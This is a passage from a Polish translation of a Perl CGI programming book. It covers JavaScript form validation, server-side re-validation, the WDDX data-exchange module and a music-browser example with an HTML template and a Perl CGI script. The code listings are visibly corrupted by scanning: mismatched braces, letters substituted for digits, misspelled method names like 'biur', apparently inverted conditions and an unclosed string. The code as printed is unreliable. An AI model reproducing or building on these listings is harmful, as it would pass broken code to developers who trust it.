onChange="sprawdzWiek( this );"> </td></tr> <tr><td> Płeć: </td><td> <input type="radio" name="plec" value="male"> Mężczyzna <input type="radio" name="plec" value="female"> Kobieta </td></tr> <tr><td>Wykształcenie: </td><td> <select name="wyksztalcenie" size="l"> <option value="">Prosze wybrać poziom</option> <option value="grade">Studia wyższe</option> <option value="high">Średnie (lub GED)</option> <option value="college">College</option> <option value="junior">Zas. szkoła zaw. lub gimnazjum</option> <option value="bachelor">Czteroletni college</option> <option value="graduate">Doktorat</option> </select> </td></tr> <tr><td colspan=2 ałign=right><input type="submit"> </td></tr> </table> </form> </body> </html>
Programowanie CGI w Perlu
85
Nie ma tu zbyt wiele JavaScriptu, ponieważ prawie cały znajduje się w osobnym pliku, włączanym do dokumentu za pomocą następującej pary znaczników w wierszu 5: <script src="/js-lib/formLib.js"x/script> Przykład 7.2 przedstawia zawartość pliku formLib.js. Przykład 7.2. formLib.js // formLib.js // Wspólne funkcje stosowane w formularzach // Obiekt ten służy nam za tablice asocjacyjną do śledzenia osobno sprawdzanych elementów, w których występują problemy z formatowaniem kontrola = new Object(); // Przyjmuje wartość, sprawdza, czy jest całkowita, i odpowiednio zwraca "prawdę" lub "fałsz" function czyCalkowita ( wartość ) { return (wartość == parseInt( wartość ); } // Przyjmuje wartość i zakres, sprawdza, czy wartość jest całkowita, i odpowiednio zwraca "prawdę" lub "fałsz" function wZakresie ( wartość, granica_dolna, granica_gorna ) { return ( ! ( wartość < granica_dolna ) && wartość <= granica_gorna ) } // Sprawdza wartości pod kątem formatów '#####' lub '###-##-###' function sprawdzFormat ( wartość, format ) { var formatOkay = true; if ( wartość. length != format . length ) { return false; } for ( var i = 0; i < format.length; i++ ) { if ( format.charAt (i) == '#' && ! czyCalkowita ( wartość. charAt (i) ) ) { return false; } else if ( format. charAt (i) != '#' && format. charAt(i) != wartość.charAt (i) ) { return false; } } return true; } // Przyjmuje formularz oraz tablicę nazw elementów; sprawdza, czy każdy z nich ma wartość function wymagajWartosci ( formularz, wymaganePolaText ) { for (var i = 0; i < wymaganePolaText.length; i++ ) ( element = wymaganePolaText[i]; if ( formularz[element].value == "" ) ( alert ( " Proszę podać wartość w polu " + element + "." ); return false; } } return true; } // Przyjmuje formularz oraz tablicę nazw elementów; sprawdza, czy w każdym // wybrano jakąś pozycje (inną niż pierwsza, bowiem pierwsza pozycja na liście rozwijanej stanowi instrukcje postępowania) function wymagajWyboru ( formularz, wymaganePolaSelect ) ( for ( var i = 0; i < wymaganePolaSelect . length; i++ ) { element = wymaganePolaSelect [i] ; if ( formularz [element] . selectedIndex <= O ) { alert ( " Proszę podać wartość w polu " + element + "." ) ; return false; } } return true; } // Przyjmuje formularz oraz tablicę nazw elementów; sprawdza, czy w każdym zaznaczono jakąś wartość function wymagajWskazania ( formularz, wymaganePolaRadio ) { for ( var i = 0; i < wymaganePolaRadio.length; i++ ) { element = wymaganePolaRadio[i]; czyZaznaczono = false; for ( j=0; j < formularz[element].length; j++ ) { if ( formularz[element][j].checked ) { czyZaznaczono = true; } }
Programowanie CGI w Perlu
86
if ( ! czyZaznaczono ) { alert( "Proszę wybrać " + formularz[element][0].name + "." ); return false; } } return true; } // Sprawdza, czy nie ma problemów wynikających z niepoprawnego sformatowania elementów już sprawdzonych osobno function sprawdzProblemy () { for ( element in kontrola ) { if ( !kontrola [element] ) { alert ( "Proszę poprawić format w elemencie " + element + "." ); return false; } } return true; } // Sprawdza, czy wartość podanego elementu ma format ##### function sprawdzKod ( element ) { if ( ! sprawdzFormat( element.value, "#####" ) ) { alert ( "Proszę podać pięciocyfrowy kod pocztowy." ); element.focus(); kontrola[element.name] = false; } else { kontrola[element.name] = true; } return kontrola[element.name]; } // Sprawdza, czy wartość podanego elementu ma format ###-###-#### function sprawdzTelefon ( element ) { if ( !sprawdzFormat( element.value, "###-###-####" ) ) { alert( "Element " + element.name + "proszę podać w formacie " + "800-555-1212." ); element.focus(); kontrola[element.name] = false; } else { kontrola[element.name] = true; } return kontrola[element.name]; } // Sprawdza, czy wartość podanego elementu ma format ###-##-##ł# function sprawdzNrUS ( element ) { if ( !sprawdzFormat( element.value, "###-##-####" ) ) { alert( "Numer ubezpieczenia społecznego proszę podać w " + "formacie 123-45-6789." ); element.focus(); kontrola[element.name] = false; } else { kontrola[element.name] = true; } return kontrola[element.name]; } // Sprawdza, czy wartość podanego elementu jest liczbą całkowitą z przedziału od l do 150 function sprawdzWiek ( element ) { if ( ! czyCalkowita( element.value ) || ! wZakresie( element.value, l, 150 ) ) { alert( "Jako wiek proszę podać liczbę z przedziału od l do 150." ), element.focus(); kontrola[element.name] = false; } else { kontrola[element.name] = true; } return kontrola[element.name]; } W prezentowanym przykładzie używamy obydwu sposobów kontroli poprawności: kontroli poszczególnych elementów przy wprowadzaniu danych oraz kontroli formularza jako całości przy zlecaniu jego wysyłki. Tworzymy obiekt kontrola, który spełnia tu rolę analogiczną do tablicy asocjacyjnej w Perlu. Sprawdzając jakiś element, każdorazowo dodajemy jego nazwę do obiektu kontrola i przypisujemy mu wartość „prawda" lub
Programowanie CGI w Perlu
87
„fałsz", odpowiednio do tego, czy element ma poprawny format czy nie. Gdy zostaje zlecona wysyłka formularza, wykonujemy pętlę przez wszystkie elementy zanotowane w obiekcie kontrola, aby zbadać, czy są takie elementy, w których wystąpiły i jeszcze nie zostały usunięte problemy z formatowaniem. Funkqe obsługujące sprawdzanie poprawności konkretnych pól to: sprawdzKod do sprawdzania kodu pocztowego, sprawdzTelefon do sprawdzania numerów telefonów, sprawdzNrUS do sprawdzania numeru ubezpieczenia społecznego oraz sprawdzWiek do sprawdzania wieku. Wywoływane są przez procedury onChange odpowiednich elementów formularza; funkcje te pojawiają się na końcu skryptu form-Lib.js. W każdej z tych funkcji użyte zostały funkcje ogólne, takie jak czyCalkowita, wZakresie i sprawdzFormat, które sprawdzają formatowanie kontrolowanych elementów. czyCalkowita oraz wZakresie wykonują proste testy i zwracają informację, czy wartość jest liczbą całkowitą lub czy zawarta jest w określonym przedziale liczbowym. Funkcja sprawdzFormat przyjmuje wartość oraz łańcuch tekstowy zawierający format, na podstawie którego wartość będzie sprawdzana. Struktura łańcucha formatu jest całkiem prosta: symbol # (znak funta wagowego) reprezentuje cyfrę, natomiast każdy inny znak reprezentuje sam siebie. Oczywiście, analogicznego sprawdzenia moglibyśmy dokonać w Perlu za pomocą wyrażenia regularnego. Na przykład numer ubezpieczenia A społecznego moglibyśmy porównać ze wzorcem / \d\d\d-\d\d- \d\d\d\d$ /. Tak się dobrze składa, że JavaScript 1.2 również obsługuje wyrażenia regularne. Jednak źle się składa, że wiele przeglądarek w Internede, a zwłaszcza Internet Explorer 3.0, obsługuje JavaScript tylko w wersji 1.1. Gdy formularz jest wysyłany, procedura onSubmit wywołuje funkcję skontrolujFor-mularz. Funkcja ta tworzy tablicę elementów wymagających wpisania wartości (na przykład pola tekstowe), tablicę list, wymagających dokonania wyboru pozycji, oraz tablicę grup przycisków opcji, wymagających zaznaczenia konkretnej wartośd. Utworzone tablice przekazywane są, odpowiednio, do funkcji wymagajWartosci, wymagajWyboru i wymagajWskazania, które sprawdzają, czy w elementach określonego typu użytkownik podał wartość, wybrał pozycję, zaznaczył opcję. Na koniec funkcja sprawdzProblemy wykonuje pętlę przez właściwości określone w obiekcie kontrola i zwraca wartość boolowską wskazującą, czy są elementy, w których nie usunięto problemów z formatowaniem. Jeśli którakolwiek z funkcji wymagajWartosci, wymagaj Wyboru, wymagajWskazania lub sprawdzProblemy wykryje błąd, wyświetli użytkownikowi odpowiedni komunikat i zwróci wartość „fałsz", w wyniku czego wysyłka formularza zostanie anulowana. W przeciwnym razie formularz zostanie wysłany do skryptu CGI, który obsłuży go tak, jak każde inne żądanie. W tym wypadku skrypt CGI zapisałby dane w pliku lub bazie danych. Nie będziemy się tu zajmować skryptem CGI, niemniej zapisywanie danych na serwerze omówimy w rozdziale 10, „Obsługa danych w plikach". Dwukrotna kontrola poprawności danych Napisaliśmy, że żądanie pochodzące ze strony HTML z javascriptową kontrolą danych skrypt CGI obsłużyłby tak, jak każde inne żądanie. Gdy decydujemy się na sprawdzanie danych za pomocą JavaScriptu, musimy pamiętać o następującym przykazaniu: Nigdy nie polegaj na kontroli danych przeprowadzonej po stronie klienta. Opracowując skrypty CGI, należy zawsze sprawdzać poprawność otrzymywanych danych, bez względu na to, czy pochodzą z formularza wyposażonego w javascriptową kontrolę danych, czy też nie. Owszem, oznacza to, że danych przychodzących od klienta nie możemy uznać za wiarygodne, jeśli nie sprawdzimy ich u siebie. Jak nadmieniliśmy wcześniej, przeglądarka użytkownika może obsługiwać JavaScript, lecz obsługa ta może być nieczynna. Dlatego nie można mieć pewności, że javascriptowa kontrola zostanie przeprowadzona. W rozdziale 8, „Bezpieczeństwo", szerzej rozważamy, dlaczego nie należy ufać użytkownikowi. W związku z tym kod sprawdzający poprawność danych często pisze się dwa razy: raz w JavaScripcie dla klienta, drugi raz - w skrypcie CGI. Ktoś mógłby powiedzieć, że to nie najlepsze rozwiązanie, gdy ten sam kod pisany jest dwukrotnie, i w pewnym sensie miałby rację, ponieważ pielęgnacja kodu jest łatwa wtedy, gdy przestrzega się słusznej zasady niepowielania kodu. Jednak w tej sytuacji możemy podać dwa kontrargumenty. Po pierwsze, powinniśmy kontrolować dane w skrypcie CGI, ponieważ dobrym programistycznym zwyczajem jest wyposażanie każdego składnika w procedury sprawdzania wprowadzanych danych. Kod w JavaScripcie jest częścią klienckiego interfejsu użytkownika; otrzymuje dane od użytkownika i sprawdza je, przygotowując je w celu wysłania do serwera. Wysyła dane dalej, do skryptu CGI, lecz skrypt CGI musi znów sprawdzić, czy mają właściwy format, ponieważ „nie wie" (ani nie powinno go to „obchodzić"), jakie przetwarzanie odbyło się lub się nie odbyło po stronie klienta. Podobnie, jeśli potem skrypt CGI wywoła bazę danych, baza danych ponownie sprawdzi dane wejściowe, które zostały do niej przesłane itd. Po drugie, przez javascriptową kontrolę danych dużo zyskujemy, gdyż wtedy proces ten odbywa się maksymalnie blisko użytkownika. W ten sposób unikamy nawiązywania zbędnych połączeń sieciowych - jeśli JavaScript wykryje nieprawidłowy wpis, może o tym natychmiast powiadomić użytkownika, który będzie mógł poprawić formularz jeszcze przed wysłaniem. W przeciwnym razie klient musiałby od razu wysłać formularz do serwera, dane sprawdziłby dopiero skrypt CGI, a potem zwrócił stronę z informacją o błędzie, umożliwiającą ponadto skorygowanie tego błędu. Jeśli błędów byłoby kilka, poprawianie ich mogłoby wymagać kilku prób. W wielu wypadkach nadmiarowa kontrola za pomocą JavaScripru warta jest poświęceń. Podejmując decyzję co do użycia JavaScriptu, należy wziąć pod uwagę, jak częstych zmian w interfejsie i formacie danych się spodziewamy oraz ile dodatkowej pracy trzeba włożyć w pielęgnację kodu w JavaScripcie oprócz analogicznego kodu w skrypcie CGI. Następnie można rozważyć, na ile wygoda użytkownika warta jest dodatkowego wysiłku.
Wymiana danych Jeśli strony Web wyposażymy w odpowiednio rozbudowane funkcje w JavaScrip-cie, mogą się stać półautonomicznymi klientami, umożliwiającymi użytkownikowi interakcję w sposób niezależny od serwerowych skryptów CGI. W najnowszych wersjach JavaScriptu istnieje możliwość tworzenia zapytań do serwera Web,
Programowanie CGI w Perlu
88
wczytywania jego odpowiedzi do ukrytych ramek oraz reagowania na te dane. W odpowiedzi na takie zapytania skrypty CGI nie generują HTML-a; zazwyczaj generują surowe dane, które poddawane są obróbce dopiero przez kolejną aplikację. Z zagadnieniem serwerów informacyjnych zapoznamy się bliżej przy omawianiu XML-a w rozdziale 14, „Middleware oraz XML". Od kiedy wzrosły możliwości JavaScriptu, twórcy serwisów Web czasami stawiają sobie pytanie, jak przenieść złożone struktury danych ze skryptu CGI napisanego w Perlu do JavaScriptu. Perl i JavaScript to różne języki o różnych strukturach, więc tworzenie dynamicznego JavaScriptu bywa zadaniem dość ambitnym. WDDX Wymiana danych między różnymi językami stanowi wyzwanie, ale nie jest ono bynajmniej nowe. Na szczęście ktoś przed nami już się zajął tą kwestią. Firma Allaire, twórca ColdFusion, szukała sposobu wymiany danych między różnymi serwerami Web w Internecie. Zastosowane przez nią rozwiązanie, Web Distributed Data Ex-change lub po prostu WDDX, definiuje wspólny format danych, który może posłużyć za reprezentację podstawowych typów danych w rozmaitych językach. WDDX oparty jest na XML-u, jednak do korzystania z WDDX nie jest nam potrzebna jakakolwiek znajomość XML-a, ponieważ dostępne są moduły, które pośredniczą między wieloma językami, włącznie z Perlem i JavaScriptem. Dzięki temu możemy przekształcić strukturę danych języka Perl w pakiet WDDX, który z kolei możemy przekonwertować do struktury danych właściwej dla JavaScriptu, Javy, COM-u (obejmuje on ASP, czyli Active Server Pages), ColdFusion lub PHP. Mimo to w wypadku JavaScripru możemy nawet pominąć etap pośredni. Ponieważ przekształcanie danych do postaci javascriptowej jest tak często potrzebne w sied Web, powstał WDDX.pm - moduł Perla do WDDX - konwertujący perłowe struktury danych na kod w JavaScripcie, który z kolei może utworzyć analogiczne javascriptowe struktury danych, z pominięciem pakietu WDDX. Przyjrzymy się temu na przykładzie. Powiedzmy, że bieżącą datę na serwerze Web chcemy przenieść ze skryptu CGI do JavaScriptu. W Perlu data określana jest na podstawie sekund, które upłynęły od umownego początku mierzenia czasu; wygląda to następująco: my $teraz = time Aby ten zapis poddać konwersji do JavaScriptu, powinniśmy się posłużyć następującym kodem: use WDDX; my $wddx = new WDDX; my $teraz = time my $wddx_teraz = $wddx_datetime( $teraz ); print $wddx_teraz->as_javascript( "serverTime" ); Tworzymy obiekt WDDX.pm, a następnie przekazujemy odczytany czas bieżący (time), zapisany w zmiennej $teraz do metody datetime, która zwraca obiekt WDDX::Datetime. Wówczas za pomocą metody asjauascript uzyskujemy odpowiedni kod w JavaScripcie. W ten sposób zostanie wygenerowany na przykład poniższy zapis (data i godzina w konkretnym wypadku będą oczywiście inne): serverTime=new Date(100,0,5,14,20,39) ; Zapis ten można włączyć do dokumentu HTML jako JavaScript. Daty w JavaScripcie tworzy się zdecydowanie inaczej niż w Perlu, lecz WDDX wyręcza nas w tłumaczeniu z jednego języka na drugi. DateTime to tylko jeden z typów danych obsługiwany przez WDDX. W module WDDX zdefiniowano kilka podstawowych typów danych, powszechnie występujących w różnych językach programowania. Typy danych modułu WDDX zostały zestawione w tabeli 7.1. Tabela 7.1. Typy danych modułu WDDX Typ WDDX Obiekt danych WDDX.pm Typ Perla łańcuch WDDX::String skalar liczba WDDX::Number skalar wartość boolowska WDDX::Boolean skalar (Hub"") data-godzina WDDX::Datetime skalar (sekundy od początku mierzenia czasu) Null WDDX::Null skalar, niezdefiniowany (rezultat undef) wartość binarna WDDX::Binary skalar tablica WDDX::Array tablica struktura WDDX::Struct tablica asocjacyjna zestaw rekordów WDDX::Recordset brak odpowiednika (WDDX::Recordset) Jak widać, typy danych WDDX-a różnią się od typów danych Perla. W Perlu wiele typów danych ma jednakową reprezentację - skalarną. Dlatego moduł WDDX.pm działa inaczej niż podobne biblioteki WDDX dla innych języków, które pod tym względem są bardziej przezroczyste. W tych innych językach wystarczy jedna metoda, aby przejść prosto z rodzimego typu danych na pakiet WDDX (lub kod w Java-Scripcie). Ze względu na odmienność typów danych w Perlu moduł WDDX.pm wymaga tworzenia obiektu pośredniego (takiego jak obiekt WDDX::Datetime, $wddx_tera z, z ostatniego przykładu), który następnie można przekształcić w pakiet WDDX lub rodzimy kod JavaScriptu. WDDX, któremu początek dała firma Allaire, został udostępniony jako projekt o otwartym kodzie źródłowym. Pakiet SDK modułu WDDX można pobrać pod adresem http://www.wddx.orgl. Moduł WDDX.pm dostępny jest w sieci CPAN. Przykład WDDX.pm przydaje się szczególnie wtedy, gdy mamy do czynienia ze złożonymi strukturami danych. Przyjrzyjmy się zatem kolejnemu przykładowi. Za pomocą JavaScriptu i HTML-a utworzymy interakcyjny
Programowanie CGI w Perlu
89
formularz umożliwiający użytkownikom przeglądanie listy piosenek, które może pobrać z serwisu (zob. rysunek 7.3). Użytkownicy mogą przeszukiwać bazę danych dopóty, dopóki nie znajdą pożądanej piosenki, nie wywołując przy tym serwera Web. Informacje o piosenkach będziemy przechowywać na serwerze Web w pliku z tabu-lacjami jako separatorami. Format przedstawiamy w przykładzie 7.3. Przykład 7.3. dane_piosenek.txt Wykonawca Koncert Piosenka Miejsce Data CzasTrwania Rozmiar NazwaPliku ... Ten format oparty na rekordach jest analogiczny do stosowanego w arkuszach kalkulacyjnych lub bazach danych, a jego reprezentacją w WDDX jest zestaw rekordów (Recordset). Zestaw rekordów to szereg rekordów (czyli wierszy), w których występuje kilka nazwanych pól (czyli kolumn), w każdym rekordzie jednakowych. Przyjrzyjmy się HTML-owi i JavaScriptowi opracowanym pod kątem tego pliku. Zauważmy, że w tym wypadku użytkownik musi dysponować obsługą JavaScriptu. Bez niej w formularzu nie pojawi się żadna informacja. W praktyce formularz wyposaża się dodatkowo w uproszczony interfejs, którego kod HTML zapisany jest między znacznikami <NOSCRIPT>, aby użytkownicy bez JavaScriptu też mogli z formularza skorzystać. Gdy pojawi się odpowiednie żądanie, skrypt CGI przekaże na wyjście dane zawarte w tym pliku, przy czym jedyny wkład skryptu polega na dostarczaniu danych o piosenkach. Dlatego w przykładzie 7.4 użyjemy modułu HTML::Template do przekazywania jednej zmiennej do naszego pliku; odpowiedni znacznik znajduje się pod koniec pliku HTML. Przykład 7.4. music_browser.tmpl <HTML> <HEAD> <TITLE>Internetowa przeglądarka muzyczna</TITLE> <SCRIPT SRC="JavaScript-lib/wddx. js"></SCRIPT> <SCRIPT> <! — var url_archiwum = "http://www.serwis-mp3.org/downloady/"; function wyswietlWykonawcow () { var wykonawcy = document.przegmuz.listaWykonawcow; budujListe( wykonawcy, "wykonawca", "", "" ) ; if ( wykonawcy.options.length == 0 ) { komunikatListy ( wykonawcy, "Niestety, obecnie brak wykonawców w bazie" ); } wyswietlKoncerty () ; wyswietlPiosenki () ; } function wyswietlKoncerty () { var koncerty = document.przegmuz.listaKoncertow; if ( document.przegmuz.listaWykonawcow. selectedlndex < 0 ) { var wybrany = wybranaWartosc ( document.przegmuz.listaWykonawcow ); budujListe( koncerty, "koncert", "wykonawca", wybrany ); } else { komunikatListy ( koncerty, "Proszę wybrać wykonawcę" ); } wyswietlPiosenki () ; } function wyswietlPiosenki() { var piosenki = document.przegmuz.listaPiosenek; piosenki.options.length = 0; piosenki.selectedlndex = -1; if ( document.przegmuz.listaKoncertow.selectedlndex < 0 ) { var wybrany = wybranaWartosc( document.przegmuz.listaKoncertow ); budujListe( piosenki, "piosenka", "koncert", wybrany ); } else { komunikatListy( piosenki, "Proszę wybrać koncert" ); } } function budujListe( lista, pole, poleWarunku, wartoscWarunku ) { lista.options.length = 0; lista.selectedIndex = -1; var wyswietlWszystko = ! poleWarunku; var idx_listy = 0; var dopasowane = new Object; //Służy za tablicę asocjacyjną, pozwala uniknąć powieleń for ( var i = 0; i < dane[pole].length; i++ ) { if ( ! dopasowane[ dane[pole][i] ] && ( wyswietlWszystko || dane[poleWarunku][i] == wartoscWarunku ) ) {
Programowanie CGI w Perlu
90
dopasowane[ dane[pole][i] ] = 1; var opcja = new OptionO; opcja.text = dane[pole][i]; opcja.value = dane[pole] [i] ; lista.options[idx_listy++] = opcja; } } } function wyswietlInfoPiosenki() { var formularz = document.przegmuz; var idx = -1; for ( var i = 0; i < dane.wykonawca.length; i++ ) { if ( dane.wykonawca[i] == wybranaWartosc( formularz.listaWykonawcow ) && dane.koncert[i] == wybranaWartosc( formularz.listaKoncertow ) && dane.piosenka[i] == wybranaWartosc( formularz.listaPiosenek ) ) { idx = i; break; } } formularz.wykonawca.value = idx < 0 ? dane.wykonawca[idx] : ""; formularz.koncert.value = idx < 0 ? dane.koncert[idx] : ""; formularz.piosenka.value = idx < 0 ? dane.piosenka[idx] : ""; formularz.miejsce.value = idx < 0 ? dane.miejsce[idx] : ""; formularz.data.value = idx < 0 ? dane.data[idx] : ""; formularz.czastrwania.value = idx < 0 ? dane.czastrwania[idx] : ""; formularz.rozmiar.value = idx < 0 ? dane.rozmiar[idx] : ""; formularz.nazwapliku.value = idx < 0 ? dane.nazwapliku[idx] : ""; } function pobierzPiosenke() { var formularz = document.przegmuz; if ( formularz.nazwapliku.value == "" ) { alert( "Proszę wybrać wykonawcę, koncert i piosenkę do pobrania. return; } open( url_archiwum + formularz.nazwapliku.value, "piosenka" ); } function komunikatListy ( lista, komunikat ) { lista.options.length = 0; lista.options [0] = new Option(); lista.options[0].text = komunikat; lista.options[0].value = "--"; } function wybranaWartosc( lista ) { return lista.options[lista.selectedlndex].value; } // —> </SCRIPT> </HEAD> <BODY BGCOLOR="#FFFFFF" onLoad="wyswietlWykonawcow()"> <TABLE WIDTH="100%" BGCOLOR="#CCCCCC" BORDER="1"> <TR><TD ALIGN="center"><H2>Internetowa przeglądarka muzyczna</H2></TD></TR> </TABLE> <P>Poniżej wymienione są nagrania koncertowe, które można pobrać w tym serwisie. Proszę wybrać wykonawcę z listy po lewej, koncert (lub nagranie) danego wykonawcy z listy pośrodku oraz piosenkę z listy po prawej. Wszystkie piosenki dostępne są w formacie MP3. Zapraszamy.</P> <HR NOSHADE> <FORM NAME="przegmuz" onSubmit="return false"> <TABLE WIDTH="100%" BORDER="1" BGCOLOR=#CCCCFF" CELLPADDING="8" CELLSPACING="8"> <INPUT TYPE="hidden" NAME="wybranyRekord" VALUE="-1"> <TR VALIGN="top"> <TD><B><BIG>1)</BIG> Wybierz artystę : </B> <BR> <SELECT NAME="listaWykonawcow" SIZE="6" onChange="wyswietlKoncerty()" <OPTION>Brak wykonawców w bazie danych</OPTION> </SELECT> </TD> <TD><B><BIG>2)</BIG> Wybierz koncert:</B> <BR><SELECT NAME="listaKoncertow" SIZE="6" onChange="wyswietlPiosenki ()"> <OPTION>Proszę wybrać wykonawce</OPTION> </SELECT> </TD> <TD> <B><BIG>3)</BIG> Wybierz piosenkę:</B><BR> <SELECT NAME="listaPiosenek" SIZE="6" onChange="wyswietlInfoPiosenki ()">
Programowanie CGI w Perlu
91
<OPTION>Proszę wybrać koncert</OPTION> </SELECT> </TD> </TR> <TR><TD COLSPAN="3" ALIGN="center"> <H3>Informacja o piosence</H3> <TABLE BORDER="0"> <TR> <TD><B>Wykonawca: </B></TD> <TD><INPUT NAME="wykonawca" TYPE="text" SIZE="40" onFocus="this.biur()"></TD> </TR> <TR><TD><B>Koncert: </B></TD> <TD><INPUT NAME="koncert" TYPE="text" SIZE="40" onFocus="this.biur()"></TD> </TR> <TR><TD><B>Piosenka:</B></TD> <TD><INPUT NAME="piosenka" TYPE="text" SIZE="40" onFocus="this.biur()"></TD> </TR> <TR><TD><B>Mie j sce : </B></TD> <TD><INPUT NAME="miejsce" TYPE="text" SIZE="40" onFocus="this.blur()"></TD> </TR> <TR><TD><B>Data: </B></TD> <TD><INPUT NAME="data" TYPE="text" SIZE="20" onFocus = "this .biur () "></TD> </TR> <TR><TD><B>Czas trwania :</B></TD> <TD><INPUT NAME="czastrwania" TYPE="text" SIZE="10" onFocus="this.blur () "></TD> </TR> <TR><TD><B>Rozmiar pliku: </B></TD> <TD><INPUT NAME="rozmiar" TYPE="text" SIZE="10" onFocus="this.biur()"></TD> </TR> </TABLE> </TD></TR> <TR ALIGN="center"> <TD COLSPAN="3"> <INPUT TYPE="hidden" NAME="nazwapliku" VALUE=""> <INPUT TYPE="button" NAME="pobierz" VALUE="Pobierz piosenkę"> onClick="pobierzPiosenke()"> </TD> </TR> </TABLE> <FORM> <SCRIPT> <! — <TMPL_VAR NAME="dane_piosenek"> // —> </SCRIPT> </BODY> </HTML> W tym dokumencie zawarty jest formularz, lecz tak naprawdę nie służy on do wysyłania żadnych zapytań wprost: nie ma przycisku zlecania wysyłki, a jego procedura onSubmit anuluje wszelkie próby wysłania formularza. Formularz służy jedynie jako interfejs, zawiera listy wykonawców, koncertów i piosenek, a także pola, w których wyświetlana jest informacja o wybranych piosenkach (zob. wcześniejszy rysunek 7.3). W pierwszym znaczniku <SCRIPT> do dokumentu wczytywany jest plik wddx.js, należący do pakietu SDK modułu WDDX, dostępnego pod adresem http://www. wddx.org/. Plik ten zawiera javascriptowe funkcje potrzebne do interpretowania obiektów WDDX, na przykład zestawów rekordów. Przy wczytywaniu pliku wykonywany jest cały javascriptowy kod nie wchodzący w skład funkcji i procedur obsługi zdarzeń. Do zmiennej globalnej url_archiwum przypisywany jest wtedy URL katalogu, w którym znajdują się pliki z zapisem dźwiękowym; ponadto wykonywany jest kod w JavaScripcie, który skrypt CGI wstawia do HTML-a w miejsce znacznika <TMPL_VAR NAME="dane_piosenek">. Do tego sposobu generowania JavaScriptu wrócimy za chwilę - gdy zajmiemy się skryptem CGI. Tymczasem zerknijmy na wstawiany tu kod w JavaScripcie. Wygląda on następująco:* dane=new WddxRecordset () ; dane.wykonawca=new Array(); dane.wykonawca[0]="The Grateful Dead"; dane.wykonawca [l]="The Grateful Dead"; dane.wykonawca[3]="Widespread Panie"; dane.wykonawca [4] ="Widespread Panie" ; dane.wykonawca [5] ="Lef tover Salmon"; dane .wykonawca [6] ="The Radiators" ; Zmienna dane to obiekt z właściwościami poszczególnych pól w pliku danych dane_piosenek.txt (na przykład wykonawca). Każdej właściwości odpowiada tablica mająca tyle pozycji, ile wierszy jest w pliku danych. Gdy tylko przeglądarka wyświetli stronę, procedura onLoad wywoła funkcję wyswietlWykonawcow. Funkcja ta wyświetla wykonawców wywołując funkcję budujListe, której argumentem jest obiekt formularzowej listy wykonawców. Następnie wywoływane są funkcje wyswietlKoncerty oraz wyswietlPiosenki, w których także używana jest funkcja budujListe. Funkcja budujListe przyjmuje obiekt listy, nazwę pola, z którego mają być pobrane, dane oraz dwa parametry dodatkowe - nazwę i wartość pola - które stanowią warunek wyznaczający rekord do wyświetlenia. Jeśli budujListe wywołamy na przykład tak: budujListe ( document .przegmuz . listaKoncertow, "koncert", "wykonawca", "Widespread Panie" ); to wartość pola koncert każdego rekordu, w którym jako wykonawca występuje „Widespread Panie", dodawana jest do listy listaKoncertow. Jeśli nazwa pola warunku nie zostanie podana, budujListe doda żądane pole do listy w wypadku każdego rekordu. Na początku konstruowana jest lista wykonawców, lista koncertów ma jedną pozycję informującą użytkownika, że najpierw musi wybrać wykonawcę, a lista piosenek ma jedną pozycję informującą, że najpierw trzeba wybrać koncert. Kiedy użytkownik wskaże wykonawcę, na liście koncertów pojawią się odpowiednie koncerty. Kiedy użytkownik wskaże koncert, na liście piosenek pojawią się piosenki z danego koncertu. Kiedy użytkownik wskaże piosenkę, w leżących poniżej polach tekstowych zostaną wyświetlone informacje o piosence. Wszystkie te pola mają jednakową procedurę obsługi:
Programowanie CGI w Perlu
92
onFocus="blur()" Uniemożliwia ona edycję tych pól przez użytkownika. Kiedy tylko użytkownik klik-nie dane pole lub spróbuje przejść do niego za pomocą klawisza tabulacji, kursor natychmiast zostanie z niego usunięty. Jedynym celem takiego działania jest pokazanie, że pola te nie służą do wprowadzania danych. Jeśli użytkownik okaże się dość szybki, być może uda mu się wprowadzić jakiś tekst, lecz nie będzie on mieć żadnego znaczenia. Pola te wypełniane są przez funkcję wyswietllnfoPiosenki, która w celu zidentyfikowania wybranej piosenki przeszukuje dane w obiekcie dane, po czym wczytuje odpowiednie informacje do pól tekstowych, a w ukrytym polu nazwapliku umieszcza nazwę pliku. Kiedy użytkownik kliknie przycisk „Pobierz piosenkę", skojarzona z nim procedura onClick wywoła funkcję pobierzPiosenke. Funkcja ta na podstawie wartości pola naz-wap l i ku sprawdza, czy została wybrana jakakolwiek piosenka. Jeśli nie została wybrana, użytkownik jest o tym powiadamiany. W przeciwnym razie następuje pobranie żądanej piosenki w osobnym oknie. Przyjrzyjmy się teraz skryptowi CGI. Musi odczytać plik danych, rozbić go na częśd i przenieść do obiektu WDDX::Recordset, a następnie umieścić dane w szablonie jako zapis w JavaScripcie. Kod przedstawiamy w przykładzie 7.5. Przykład 7.5. music_browser.cgi #!/usr/bin/perl -wT use strict; use WDDX; use HTML::Template; use constant PLIK_DANYCH => "/usr/locał/apache/data/muzyka/dane_piosenek.txt"; use constant SZABLON => "/usr/local/apache/templates/muzyka/ music_browser.tmpl"; print "Content-type: text/html\n\n"; my $wddx = new WDDX; my $rek = buduj_zestaw_rekordow( $wddx, PLIK_DANYCH ); # Utwórz kod w JavaScripcie przypisujący zestaw rekordów zmiennej o nazwie "dane" my $js_rek = $rek->as_javascript( "dane" ); # Przekaż na wyjście, zastępując zmienną dane_piosenek kodem w JavaScripcie my $szablon = new HTML::Template( filename => SZABLON ); $szablon->param( dane_piosenek => $js_rek ); print $szablon->output; # Przyjmuje obiekt WDDX i ścieżkę do pliku; zwraca obiekt WDDX::Recordset sub buduj_zestaw_rekordow { my( $wddx, $plik ) = @_; local *PLIK; # Otwórz plik i odczytaj nazwy pól z pierwszego wiersza open PLIK, $plik or die "Nie można otworzyć pliku $plik: $!"; my $naglowki = <PLIK>; chomp $naglowki; my @nazwy_pol = split /\t/, lc $naglowki; # Każde z pól określ jako łańcuch my @typy = map "string", @nazwy_pol; my $rek = $wddx->recordset ( \@nazwy_pol, \@typy ); # Dodaj poszczególne rekordy do zestawu rekordów while (<PLIK>) { chomp ; my @pola = split /\t/; $rek->add_row ( \@pola ); } close PLIK; return $rek; } Początek tego skryptu CGI jest podobny do znanego z wcześniejszych przykładów: inicjuje potrzebne moduły, definiuje stałe określające stosowane pliki oraz generuje nagłówek HTTP. Następnie tworzy nowy obiekt WDDX i konstruuje zestaw rekordów za pomocą funkcji buduj_zestaw_rekordow. Funkcja buduj_zestaw_rekordow przyjmuje obiekt WDDX oraz ścieżkę do pliku. Otwiera plik i wczytuje pierwszy, nagłówkowy wiersz do zmiennej $naglowki, aby ustalić nazwy 